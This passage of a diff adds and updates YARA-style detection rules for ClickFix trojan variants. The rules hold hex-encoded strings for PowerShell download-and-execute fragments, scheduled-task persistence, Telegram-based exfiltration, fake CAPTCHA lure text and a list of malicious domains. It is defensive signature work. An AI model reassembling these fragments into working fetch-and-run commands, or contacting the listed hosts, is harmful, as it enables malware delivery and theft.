00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo + $a_00_43 = {43 00 69 00 6e 00 74 00 65 00 72 00 69 00 6f 00 6e 00 5f 00 53 00 6e 00 61 00 70 00 64 00 72 00 61 00 67 00 6f 00 6e 00 5f 00 58 00 32 00 30 00 5f 00 4c 00 54 00 45 00 } //-1000 Cinterion_Snapdragon_X20_LTE condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*20+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_02_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*100+(#a_00_20 & 1)*100) >=132 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*20+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*100+(#a_00_20 & 1)*100+(#a_00_21 & 1)*100+(#a_00_22 & 1)*100+(#a_00_23 & 1)*100+(#a_00_24 & 1)*100+(#a_00_25 & 1)*100+(#a_00_26 & 1)*100+(#a_00_27 & 1)*100+(#a_00_28 & 1)*100+(#a_00_29 & 1)*100+(#a_00_30 & 1)*100+(#a_00_31 & 1)*100+(#a_00_32 & 1)*100+(#a_00_33 & 1)*100+(#a_00_34 & 1)*100+(#a_00_35 & 1)*100+(#a_00_36 & 1)*100+(#a_00_37 & 1)*100+(#a_00_38 & 1)*100+(#a_00_39 & 1)*100+(#a_00_40 & 1)*100+(#a_00_41 & 1)*-1000+(#a_00_42 & 1)*-1000+(#a_00_43 & 1)*-1000) >=132 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DZ_MTB.yar index 1165b1ae1b..fa79a0840a 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DZ_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DZ_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DZ_MTB{ meta: - description = "Trojan:Win32/ClickFix.DZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6a 00 6a 00 10 00 00 " + description = "Trojan:Win32/ClickFix.DZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6a 00 6a 00 28 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //5 mshta @@ -11,7 +11,7 @@ rule Trojan_Win32_ClickFix_DZ_MTB{ $a_00_4 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гСАРТСНА $a_00_5 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гe САРТСНА $a_00_6 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //100 - $a_02_7 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //100 + $a_00_7 = {48 00 75 00 6d 00 30 04 6e 00 } //100 Humаn $a_00_8 = {43 00 49 00 6f 00 75 00 64 00 66 00 49 00 61 00 72 00 65 00 20 00 55 00 6e 00 69 00 71 00 75 00 65 00 20 00 4f 00 6e 00 65 00 2d 00 74 00 69 00 6d 00 65 00 } //100 CIoudfIare Unique One-time $a_00_9 = {21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 САРТСНА $a_00_10 = {52 00 bf 03 62 00 bf 03 74 00 } //100 @@ -20,7 +20,31 @@ rule Trojan_Win32_ClickFix_DZ_MTB{ $a_00_13 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //100 $a_00_14 = {56 00 65 00 72 00 56 04 66 00 56 04 63 00 30 04 74 00 56 04 bf 03 78 05 } //100 $a_00_15 = {72 00 0b 20 6f 00 62 00 6f 00 0d 20 74 00 } //100 + $a_00_16 = {43 00 41 00 a1 03 54 00 43 00 48 00 41 00 } //100 + $a_00_17 = {72 00 6f 00 84 01 6f 00 74 00 } //100 + $a_00_18 = {72 00 bf 03 62 00 bf 03 c4 03 } //100 + $a_00_19 = {43 00 91 03 50 00 a4 03 43 00 97 03 91 03 } //100 + $a_00_20 = {21 04 91 03 20 04 03 a4 21 04 1d 04 91 03 } //100 + $a_00_21 = {56 00 35 04 72 00 56 04 66 00 } //100 Vеrіf + $a_00_22 = {21 04 91 03 20 04 22 04 21 04 1d 04 41 00 } //100 + $a_00_23 = {72 00 3e 04 62 00 3e 04 74 00 } //100 rоbоt + $a_00_24 = {43 00 41 00 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_25 = {9d 03 bf 03 6e 00 2d 00 62 00 bf 03 74 00 } //100 + $a_00_26 = {68 00 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_27 = {35 04 72 00 56 04 66 00 56 04 35 04 64 00 } //100 еrіfіеd + $a_00_28 = {21 04 6c 00 3e 04 75 00 64 00 } //100 Сlоud + $a_00_29 = {7e 02 80 05 62 00 80 05 1f 1d } //100 + $a_00_30 = {33 04 bf 03 62 00 3e 04 74 00 } //100 + $a_00_31 = {1d 04 75 00 6d 00 30 04 6e 00 } //100 Нumаn + $a_00_32 = {21 04 10 04 20 04 22 04 43 00 97 03 41 00 } //100 + $a_00_33 = {21 04 10 04 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_34 = {21 04 10 04 20 04 22 04 43 00 48 00 41 00 } //100 САРТCHA + $a_00_35 = {56 00 35 04 72 00 69 00 66 00 } //100 Vеrif + $a_00_36 = {1d 04 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_37 = {f9 03 91 03 20 04 22 04 21 04 1d 04 91 03 } //100 + $a_00_38 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_39 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*5+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_02_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100) >=106 + ((#a_00_0 & 1)*5+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*100+(#a_00_20 & 1)*100+(#a_00_21 & 1)*100+(#a_00_22 & 1)*100+(#a_00_23 & 1)*100+(#a_00_24 & 1)*100+(#a_00_25 & 1)*100+(#a_00_26 & 1)*100+(#a_00_27 & 1)*100+(#a_00_28 & 1)*100+(#a_00_29 & 1)*100+(#a_00_30 & 1)*100+(#a_00_31 & 1)*100+(#a_00_32 & 1)*100+(#a_00_33 & 1)*100+(#a_00_34 & 1)*100+(#a_00_35 & 1)*100+(#a_00_36 & 1)*100+(#a_00_37 & 1)*100+(#a_00_38 & 1)*-1000+(#a_00_39 & 1)*-1000) >=106 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEA_MTB.yar new file mode 100644 index 0000000000..8dd1a5853f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEA_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_EEA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 12 00 00 " + + strings : + $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_1 = {69 00 65 00 78 00 } //1 iex + $a_00_2 = {69 00 77 00 72 00 } //1 iwr + $a_00_3 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 invoke-webrequest + $a_00_4 = {64 00 61 00 6e 00 49 00 45 00 6c 00 2d 00 70 00 6f 00 6c 00 44 00 49 00 4e 00 64 00 45 00 76 00 2e 00 49 00 6e 00 66 00 6f 00 } //100 danIEl-polDINdEv.Info + $a_00_5 = {64 00 61 00 6e 00 69 00 6c 00 69 00 2d 00 6d 00 79 00 68 00 6f 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 69 00 6e 00 66 00 6f 00 } //100 danili-myhomework.info + $a_00_6 = {35 00 74 00 68 00 65 00 64 00 2e 00 63 00 68 00 72 00 69 00 73 00 74 00 6d 00 61 00 73 00 } //100 5thed.christmas + $a_00_7 = {62 00 73 00 74 00 6b 00 6d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 73 00 63 00 61 00 70 00 2e 00 63 00 6f 00 6d 00 } //100 bstkmonitorscap.com + $a_00_8 = {75 00 69 00 33 00 2e 00 66 00 69 00 74 00 } //100 ui3.fit + $a_00_9 = {7a 00 65 00 64 00 61 00 31 00 73 00 2e 00 62 00 6f 00 75 00 74 00 69 00 71 00 75 00 65 00 } //100 zeda1s.boutique + $a_00_10 = {70 00 78 00 33 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 74 00 68 00 65 00 6d 00 65 00 2e 00 69 00 73 00 6f 00 } //100 px3.click/theme.iso + $a_00_11 = {77 00 61 00 6c 00 6b 00 69 00 6e 00 2e 00 63 00 6f 00 6c 00 6c 00 65 00 67 00 65 00 } //100 walkin.college + $a_00_12 = {74 00 30 00 75 00 72 00 69 00 73 00 74 00 2e 00 63 00 76 00 } //100 t0urist.cv + $a_00_13 = {6f 00 74 00 6d 00 75 00 71 00 69 00 2e 00 63 00 6f 00 6d 00 } //100 otmuqi.com + $a_00_14 = {72 00 69 00 7a 00 75 00 6b 00 69 00 6d 00 61 00 79 00 61 00 6d 00 75 00 69 00 2d 00 70 00 6f 00 72 00 74 00 66 00 6f 00 6c 00 69 00 6f 00 2e 00 69 00 6e 00 66 00 6f 00 } //100 rizukimayamui-portfolio.info + $a_00_15 = {2d 00 68 00 75 00 6d 00 61 00 6e 00 63 00 68 00 65 00 63 00 6b 00 2e 00 69 00 6e 00 66 00 6f 00 } //100 -humancheck.info + $a_00_16 = {6d 00 79 00 6c 00 79 00 62 00 6e 00 65 00 77 00 73 00 2e 00 63 00 6f 00 6d 00 } //100 mylybnews.com + $a_00_17 = {69 00 70 00 2e 00 6d 00 65 00 76 00 69 00 6b 00 73 00 2e 00 6e 00 6f 00 } //100 ip.meviks.no + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEB_MTB.yar new file mode 100644 index 0000000000..cf95b04b1f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_EEB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2d 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 20 00 40 00 7b 00 52 00 65 00 66 00 65 00 72 00 65 00 72 00 } //1 -Headers @{Referer + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + $a_00_2 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_00_3 = {2d 00 46 00 69 00 6c 00 65 00 50 00 61 00 74 00 68 00 20 00 24 00 } //1 -FilePath $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEC_MTB.yar new file mode 100644 index 0000000000..f0f84cdbfc --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEC_MTB.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_EEC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 } //1 schtasks /create /tn + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 } //1 $env: + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_EEC_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.EEC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 20 00 2d 00 6f 00 } //1 curl -o + $a_00_1 = {2e 00 7a 00 69 00 70 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 00 02 00 06 00 2e 00 90 00 02 00 06 00 2e 00 90 00 02 00 06 00 2e 00 90 00 02 00 3c 00 2e 00 74 00 78 00 74 00 } //1 + $a_00_2 = {63 00 6d 00 64 00 20 00 2f 00 63 00 } //1 cmd /c + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EED_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EED_MTB.yar new file mode 100644 index 0000000000..3f0432729b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EED_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ClickFix_EED_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EED!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_00_0 = {56 00 65 00 72 00 69 00 66 00 79 00 20 00 79 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 68 00 75 00 6d 00 61 00 6e 00 } //1 Verify you are human + condition: + ((#a_00_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEE_MTB.yar new file mode 100644 index 0000000000..6aed3907af --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_EEE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_1 = {2e 00 74 00 78 00 74 00 [0-10] 7c 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEF_MTB.yar new file mode 100644 index 0000000000..7251386bb4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEF_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_EEF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_1 = {69 00 72 00 6d 00 20 00 [0-0a] 2d 00 75 00 72 00 69 00 [0-0a] 68 00 74 00 74 00 70 00 } //1 + $a_00_2 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 invoke-expression $ + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule Trojan_Win32_ClickFix_EEF_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.EEF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 06 00 00 " + + strings : + $a_02_0 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 20 00 2b 00 20 00 [0-20] 2e 00 76 00 62 00 73 00 27 00 3b 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 72 00 69 00 20 00 24 00 } //10 + $a_02_1 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 20 00 2b 00 20 00 [0-20] 2e 00 76 00 62 00 73 00 27 00 3b 00 20 00 69 00 77 00 72 00 20 00 2d 00 75 00 72 00 69 00 20 00 24 00 } //10 + $a_00_2 = {2e 00 70 00 68 00 70 00 27 00 3b 00 20 00 24 00 } //1 .php'; $ + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_4 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_5 = {2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 24 00 } //1 -OutFile $ + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEG_MTB.yar new file mode 100644 index 0000000000..e070846076 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEG_MTB.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_ClickFix_EEG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2d 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 20 00 40 00 7b 00 52 00 65 00 66 00 65 00 72 00 65 00 72 00 } //1 -Headers @{Referer + $a_00_1 = {69 00 65 00 78 00 20 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //1 iex (Invoke-RestMethod + $a_00_2 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_EEG_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.EEG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-3c] 76 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //1 + $a_00_1 = {57 00 2a 00 5c 00 2a 00 33 00 32 00 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 } //1 W*\*32\c??l.e + $a_00_2 = {43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //1 Cloudflare Verification + $a_00_3 = {4e 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 53 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 53 00 79 00 73 00 74 00 65 00 6d 00 30 00 31 00 2e 00 6d 00 73 00 69 00 } //-5 NationalSignatureVerificationSystem01.msi + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-5) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEH_MTB.yar new file mode 100644 index 0000000000..ad344cec45 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEH_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_EEH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 } //1 .SendKeys([char] + $a_00_1 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 } //1 wscript.shell + $a_00_2 = {46 00 6f 00 72 00 28 00 24 00 } //1 For($ + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_4 = {3b 00 20 00 73 00 74 00 61 00 72 00 74 00 } //1 ; start + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} +rule Trojan_Win32_ClickFix_EEH_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.EEH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 00 " + + strings : + $a_00_0 = {27 00 69 00 65 00 78 00 27 00 3b 00 26 00 24 00 } //100 'iex';&$ + $a_00_1 = {27 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 27 00 3b 00 26 00 24 00 } //100 'invoke-expression';&$ + $a_00_2 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 27 00 3b 00 24 00 } //1 Invoke-WebRequest';$ + $a_00_3 = {69 00 77 00 72 00 27 00 3b 00 24 00 } //1 iwr';$ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEI_MTB.yar new file mode 100644 index 0000000000..40cca70f32 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_EEI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 } //10 [guid]::NewGuid() + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 $env:TEMP + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEJ_MTB.yar new file mode 100644 index 0000000000..b5156f3fad --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEJ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_EEJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {61 00 70 00 69 00 2e 00 74 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 2e 00 6f 00 72 00 67 00 2f 00 } //1 api.telegram.org/ + $a_00_1 = {5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 [Convert]::FromBase64String + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEK_MTB.yar new file mode 100644 index 0000000000..e03f5dddf7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEK_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_EEK_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 3b 00 69 00 65 00 78 00 20 00 24 00 } //1 New-Object Net.WebClient;iex $ + $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .DownloadString($ + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + $a_00_3 = {2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 3b 00 24 00 } //1 -join '';$ + condition: + ((#a_00_0 & 